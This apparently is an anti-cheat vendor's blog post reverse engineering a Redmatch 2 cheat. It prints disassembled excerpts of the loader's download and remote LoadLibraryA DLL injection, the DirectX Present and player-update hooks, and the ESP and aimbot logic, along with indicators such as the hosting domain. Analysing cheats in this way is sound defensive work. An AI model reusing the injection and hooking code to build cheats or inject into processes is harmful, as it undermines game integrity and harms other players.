This post documents the reversal of a cheat vendor's infrastructure observed in the wild against Redmatch 2, a title under our protection. The cheat loader and module were created by one individual and distributed through an online cheat publisher. While I did not notice any malware while analyzing the binaries, I still would not trust running them on any system, especially since they can swap out the downloaded module at will. The cheat developer makes cheats for other games as well; however, this post focuses on the Redmatch 2 cheat.
Loader Reversal
The loader is a simple C++ binary that downloads the cheat module from a PHP endpoint hosted at joyverse[.]ru. The disk location is deliberately chosen to pretend to be a Windows theme-related file:
| Indicator | Value | Notes |
|---|---|---|
| Download URL | https://storage[.]joyverse[.]ru/core/download.php?s=file_id |
Obscured behind a fake-news domain |
| Download Folder | %AppData%\Microsoft\Windows\Themes\ |
Pretending to be Windows theme-related |
| Cheat Module | TranscodedWallpaper_rm2_ac.sys |
.sys to evade simple .dll memory scanning |
News Front Website
The website is a front hosted in Russia (St. Petersburg, TimeWeb LLC), featuring articles about games and artificial intelligence. The PHP endpoint used for downloading the cheat module is located on the storage[.]joyverse[.]ru subdomain.
Download Routine
The function below uses URLDownloadToFileA, resolves the full path, and performs basic error handling. If anything fails, it cleans up and pauses execution:
// download cheat module - disassembled excerpt
sub_140001010("Downloading DLL...\n");
v28 = (const CHAR *)lpFileName;
if ( si128.m128i_i64[1] > 0xFuLL )
v28 = lpFileName[0];
v29 = URLDownloadToFileA(0LL, "https://storage.joyverse.ru/core/download.php?s=file_id", v28, 0, 0LL);
if ( v29 < 0 )
{
sub_140001010("Error: Failed to download DLL (0x%08X)\n", v29);
LABEL_86:
system("pause");
v7 = 1;
goto LABEL_87;
}
v30 = (const CHAR *)lpFileName;
if ( si128.m128i_i64[1] > 0xFuLL )
v30 = lpFileName[0];
if ( !GetFullPathNameA(v30, 0x104u, v62, 0LL) )
{
sub_140001010("Error: Failed to get DLL path\n");
LABEL_83:
v45 = (const CHAR *)lpFileName;
if ( si128.m128i_i64[1] > 0xFuLL )
v45 = lpFileName[0];
DeleteFileA(v45);
goto LABEL_86;
}
Why.sys? Honestly, I have no idea why they'd pick a kernel-mode driver extension to load into a user-mode process. But I presume it was named this way because the developers thought we were scanning only.dllfiles inside the game process memory.
Target Process Scanning
The loader then scans for the game process, using Toolhelp snapshots to iterate processes by name:
// wait for Redmatch 2 - disassembled excerpt
sub_140001010("Waiting for %s...\n", "Redmatch 2.exe");
TickCount = GetTickCount();
while ( 1 )
{
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
if ( Toolhelp32Snapshot != (HANDLE)-1LL )
{
pe.dwSize = 304;
while ( stricmp(pe.szExeFile, "Redmatch 2.exe") )
{
if ( !Process32Next(Toolhelp32Snapshot, &pe) )
{
CloseHandle(Toolhelp32Snapshot);
goto LABEL_69;
}
}
th32ProcessID = pe.th32ProcessID;
CloseHandle(Toolhelp32Snapshot);
if ( th32ProcessID )
break;
}
}
Once Redmatch 2.exe is open, the loader routine proceeds with a basic remote LoadLibraryA DLL injection.
Injection Routine
A process handle is opened from the loader process with access mask 0x43A. This gives the loader rights to create threads, query information, and read/write memory. The path to the downloaded module is written into the remote process by allocating memory with VirtualAllocEx, then writing the file path with WriteProcessMemory to the newly allocated memory:
// inject cheat module - disassembled excerpt
v34 = OpenProcess(0x43Au, 0, th32ProcessID);
v35 = v34;
if ( !v34 )
{
LastError = GetLastError();
sub_140001010("Error: Failed to open process (Error: %d)\n", LastError);
goto LABEL_83;
}
v37 = VirtualAllocEx(v34, 0LL, 0x104uLL, 0x3000u, 4u);
v38 = v37;
if ( !v37 )
{
v39 = GetLastError();
sub_140001010("Error: Failed to allocate memory (Error: %d)\n", v39);
CloseHandle(v35);
goto LABEL_83;
}
if ( !WriteProcessMemory(v35, v37, path_name, 0x104uLL, 0LL) )
{
v40 = GetLastError();
sub_140001010("Error: Failed to write process memory (Error: %d)\n", v40);
VirtualFreeEx(v35, v38, 0LL, 0x8000u);
CloseHandle(v35);
goto LABEL_83;
}
The cheat loader creates a remote thread in the game that calls LoadLibraryA with the DLL path stored in the allocated memory. When it finishes, the cheat loader frees that memory and closes all handles.
// remote thread & cleanup — disassembled excerpt
RemoteThread = CreateRemoteThread(v35, 0LL, 0LL, (LPTHREAD_START_ROUTINE)LoadLibraryA, v38, 0, 0LL);
v42 = RemoteThread;
if ( !RemoteThread )
{
v43 = GetLastError();
sub_140001010("Error: Failed to create remote thread (Error: %d)\n", v43);
VirtualFreeEx(v35, v38, 0LL, 0x8000u);
CloseHandle(v35);
goto LABEL_83;
}
WaitForSingleObject(RemoteThread, 0xFFFFFFFF);
VirtualFreeEx(v35, v38, 0LL, 0x8000u);
CloseHandle(v42);
CloseHandle(v35);
Self-Deletion
The cheat module is deleted from the disk.
// cleanup disk — disassembled excerpt
v44 = (const CHAR *)lpFileName;
if ( si128.m128i_i64[1] > 0xFuLL )
v44 = lpFileName[0];
DeleteFileA(v44);
Celebration 🎉
Finally, the loader prints a success message and pauses:
// success — disassembled excerpt
sub_140001010("Success! SquadHack by Forever Winter. TG: @[REDACTED]\n");
sub_140001010("Special for [redacted cheat publisher website] <3\n");
system("pause");
Cheat Module Reversal
The injected payload is an internal cheat module built on top of KieroHook (ImGui + DX hook): https://github.com/rdbo/ImGui-DirectX-11-Kiero-Hook.
Rendering Probe
At startup, the cheat probes loaded graphics DLLs to decide which backend to hook:
int backend = 0;
if ( GetModuleHandleA("d3d9.dll") )
backend = 1;
else if ( GetModuleHandleA("d3d10.dll") )
backend = 2;
else if ( GetModuleHandleA("d3d11.dll") )
backend = 3;
else if ( GetModuleHandleA("d3d12.dll") )
backend = 4;
else if ( GetModuleHandleA("opengl32.dll") )
backend = 5;
else if ( GetModuleHandleA("vulkan-1.dll") )
backend = 6;
Rendering
The cheat module spins up a throwaway window titled “Kiero DirectX Window” and builds a DX11 swapchain to resolve vtable addresses for hooking:
// setup rendering - disassembled excerpt
HWND Window = CreateWindowExA(
0,
hInstance.lpszClassName,
"Kiero DirectX Window",
0x00CF0000u, // WS_OVERLAPPEDWINDOW | WS_VISIBLE
0, 0, 100, 100,
0, 0,
hInstance.hInstance,
0);
auto D3D11CreateDeviceAndSwapChain =
(PFN_D3D11_CREATE_DEVICE_AND_SWAP_CHAIN)GetProcAddress(
GetModuleHandleA("d3d11.dll"),
"D3D11CreateDeviceAndSwapChain");
With a live device/swapchain, the module reads the present address through the vtable index 8 and uses MinHook to hijack execution of the target function.
// hook present - disassembled excerpt
if ( dword_18008FAC8 )
{
v174 = (const void *)*((_QWORD *)qword_18008FAC0 + 8);
if ( !(unsigned int)MH_CreateHook(v174, sub_180065D50) ) // present hooked
sub_180064B30(v174, 1LL);
}
IL2CPP Calls
The game is built on Unity IL2CPP. The module resolves all il2cpp-related calls dynamically at runtime, using GetProcAddress to fetch il2cpp_* functions. These functions are used to resolve game classes, methods, and fields.
// download cheat module - disassembled excerpt
v0 = (HMODULE)sub_18006BA80();
GetProcAddress(v0, "il2cpp_init");
v1 = (HMODULE)sub_18006BA80();
GetProcAddress(v1, "il2cpp_init_utf16");
v2 = (HMODULE)sub_18006BA80();
GetProcAddress(v2, "il2cpp_shutdown");
v3 = (HMODULE)sub_18006BA80();
GetProcAddress(v3, "il2cpp_set_config_dir");
v4 = (HMODULE)sub_18006BA80();
GetProcAddress(v4, "il2cpp_set_data_dir");
v5 = (HMODULE)sub_18006BA80();
GetProcAddress(v5, "il2cpp_set_temp_dir");
v6 = (HMODULE)sub_18006BA80();
GetProcAddress(v6, "il2cpp_set_commandline_arguments");
v7 = (HMODULE)sub_18006BA80();
GetProcAddress(v7, "il2cpp_set_commandline_arguments_utf16");
v8 = (HMODULE)sub_18006BA80();
GetProcAddress(v8, "il2cpp_set_config_utf16");
v9 = (HMODULE)sub_18006BA80();
GetProcAddress(v9, "il2cpp_set_config");
v10 = (HMODULE)sub_18006BA80();
GetProcAddress(v10, "il2cpp_set_memory_callbacks");
v11 = (HMODULE)sub_18006BA80();
GetProcAddress(v11, "il2cpp_get_corlib");
v12 = (HMODULE)sub_18006BA80();
GetProcAddress(v12, "il2cpp_add_internal_call");
// ... and many more
Player Update Hook
Using MinHook, the cheat module hooks PlayerController.Update() to track entity pointers. Setup resembles:
// minhook update players function - disassembled excerpt
*(_QWORD *)&xmmword_18008F780 = player_update_hook;
if ( v47 )
{
if ( MH_CreateHook(v47, player_update_hook, (_QWORD *)&xmmword_18008F790 + 1) == MH_OK
&& sub_180064B30(*((_QWORD *)&xmmword_18008F770 + 1), 1LL) == 0 )
{
LOBYTE(xmmword_18008F770) = 1;
// ...
}
else
{
LOBYTE(xmmword_18008F770) = 0;
}
}
The player_update_hook:
- Resolves LocalInstance and caches the local player pointer.
- Writes to offsets on the local player (feature toggles / buffs).
- Writes to non-local players conditionally (skips when pointer == LocalInstance).
- Appends each updated player (
a1) into a globalstd::vector(player_list), guarded by a mutex.
// push player into player_list - disassembled excerpt
auto v7 = player_list;
auto v8 = (_QWORD *)*((_QWORD *)player_list + 1);
if ( v8 == *((_QWORD **)player_list + 2) )
{
sub_180003320(player_list, v8, &v32); // grow
}
else
{
*v8 = a1;
v7[1] += 8LL; // advance end
}
Mtx_unlock((_Mtx_t)((char *)player_list + 24));
Note: It would be more efficient to simply not store the local player in player_list. I have seen no code blocks that read the local player from player_list.
ESP Rendering
Rendering is gated on a global “master” flag and the presence of a main camera. The routine iterates player_list, filters nulls, the local player, and same-team entities, then projects world coordinates (offset +472) for box/name/health overlays.
// draw players - disassembled excerpt
auto pState = (_QWORD *)qword_18008F978;
if ( pState && byte_18008EC00 ) // master toggle
{
if ( Camera::get_main__() )
{
draw_player_esp(*pState); // per-entity visuals
if ( Camera::get_main__() && byte_18008EBD4 ) // draw FOV toggle
{
auto v2 = qword_18008E7A8;
auto width_half = *(float *)(v2 + 16) * 0.5f;
auto height_half = *(float *)(v2 + 20) * 0.5f;
auto cam = Camera::get_main__();
sub_18002A940(cam); // update/projection
__m128i center = _mm_load_si128((const __m128i *)&xmmword_180080A00);
*reinterpret_cast(¢er.m128i_i32[0]) = width_half;
*reinterpret_cast(¢er.m128i_i32[1]) = height_half;
sub_180036FA0(¢er, v5, *(_QWORD *)(*(_QWORD *)(qword_18008E7A8 + 6680) + 680LL));
int nShowCmd = 1065353216;
sub_1800525D0(v7, (unsigned int*)¢er, v7, v6); // draw
}
}
}
Note: Fetching of the main camera is redundantly called multiple times (once before draw_player_esp, once inside draw_player_esp, once before FOV draw, and once more if draw FOV is enabled). Three calls wasted in total. Very nice.
Aimbot
The aimbot method implemented uses mouse_event to move the mouse cursor towards the closest target within the configured FOV. Rather lazy if you ask me.
// aimbot function - disassembled function body
v0 = *(_QWORD *)get_local_player();
if ( v0 && GetAsyncKeyState(vKey) )
{
v1 = 0.0;
v2 = 0.0;
v28 = 0;
v3 = (__int64 *)*((_QWORD *)player_list + 1);
for ( i = *(__int64 **)player_list; i != v3; ++i )
{
v5 = *i;
if ( *i && v5 != v0 && !*(_BYTE *)(v5 + 357) )
{
v7 = *(_DWORD *)(v5 + 480);
v22 = *(_QWORD *)(v5 + 472);
v6 = v22;
v23 = v7;
v8 = sub_180033BE0(&v22);
v9 = *i;
byte_18008E7A0 = *(float *)&dword_18008EBD0 >= v8;
main = Camera::get_main__();
v24 = v6;
v25 = v7;
sub_18002EB10(main, v26, &v24);
v11 = (__int64 (*)(void))qword_18008E6F8;
v2 = *(float *)v26;
if ( !qword_18008E6F8 )
{
v11 = (__int64 (*)(void))il2cpp_resolve_icall("UnityEngine.Screen::get_height");
qword_18008E6F8 = (__int64)v11;
}
v12 = v11();
v13 = *(_QWORD *)(v9 + 472);
v14 = *(_DWORD *)(v9 + 480);
v1 = (float)v12 - *(float *)&v26[1];
if ( byte_18008E7A0 )
{
v15 = Camera::get_main__();
v16 = sub_1800295D0(v15);
v27 = v13;
v28 = v14;
sub_18002E3F0(v16, &v27);
}
}
}
if ( byte_18008E7A0 && (v2 != 0.0 || v1 != 0.0) )
{
v17 = (__int64 (*)(void))qword_18008E758;
if ( !qword_18008E758 )
{
v17 = (__int64 (*)(void))il2cpp_resolve_icall("UnityEngine.Screen::get_width");
qword_18008E758 = (__int64)v17;
}
v18 = _mm_cvtsi32_si128(v17());
v19 = (__int64 (*)(void))qword_18008E6F8;
v20 = (float)(v2 - (float)(_mm_cvtepi32_ps(v18).m128_f32[0] * 0.5));
if ( !qword_18008E6F8 )
{
v19 = (__int64 (*)(void))il2cpp_resolve_icall("UnityEngine.Screen::get_height");
qword_18008E6F8 = (__int64)v19;
}
v21 = v19();
mouse_event(
1u,
(int)(v20 / *(float *)&dword_18008F68C),
(int)((float)(v1 - (float)((float)v21 * 0.5)) / *(float *)&dword_18008F68C),
0,
0LL);
}
}
}
Configuration Storage
Configuration files are JSON stored under \SquadHack\RedMatch inside the AppData directory. The module exposes typical load/save/reset operations in the menu.
Menu, Title & Social Buttons
The ImGui menu exposes feature toggles and links. The window title string is built here:
sub_18003EFB0((void**)"SquadHack for RedMatch v1.0.2 | ", &byte_18008D2F1, 0);
The developer decided to encrypt/obfuscate the strings related to "Aimbot", but not "Hack" or "ESP"? We do not scan for strings, so the effort was for not anyway.
Tabs: Aimbot, Visuals, Misc, Settings.
Aimbot
- Aimbot Key
- Aim FOV
- Aim Smooth
- Draw FOV
Visuals
- Players
- ESP Box
- ESP Name (None / Left / Right / Top / Bottom)
- ESP Distance
- Snapline
Misc
- No Spread
- Fast Reload
- Fast Melee
- No Shakes
- No spawn shield
- Edit model size (X/Y/Z)
- TP players above me
- Edit weapon speed delay (+ slider)
- FlyHack
Config (JSON @ \SquadHack\RedMatch)
- Cfg Name
- Create sets / Load / Save
- Reset / Remove
Note: Not a complete list of features since I got bored reverse engineering the cheat module. Some strings point to additional features I was too lazy to dig out. I had seen enough to be confident this cheat is detected already. The core functions (aimbot, ESP) have been reversed and documented.
External Links
The menu includes buttons that open external pages (Telegram channel/chat, VK, YouTube) via ShellExecuteA. Links are launched in the default handler outside the game process.
Conclusion
The payload is a simple internal cheat with loud inline hooking to game functions. The loader is unsophisticated, relying on a static URL and simple remote thread LoadLibraryA injection. The only interesting parts that stand out are the use of a fake-news front website to host the payload and the choice of a .sys extension to evade simple .dll scanners. The cheat module does not pass standard checksums, which is the most basic integrity check we perform. The cheat was detected before reverse engineering began, but this exercise was still useful in case the cheat vendor had implemented anything novel.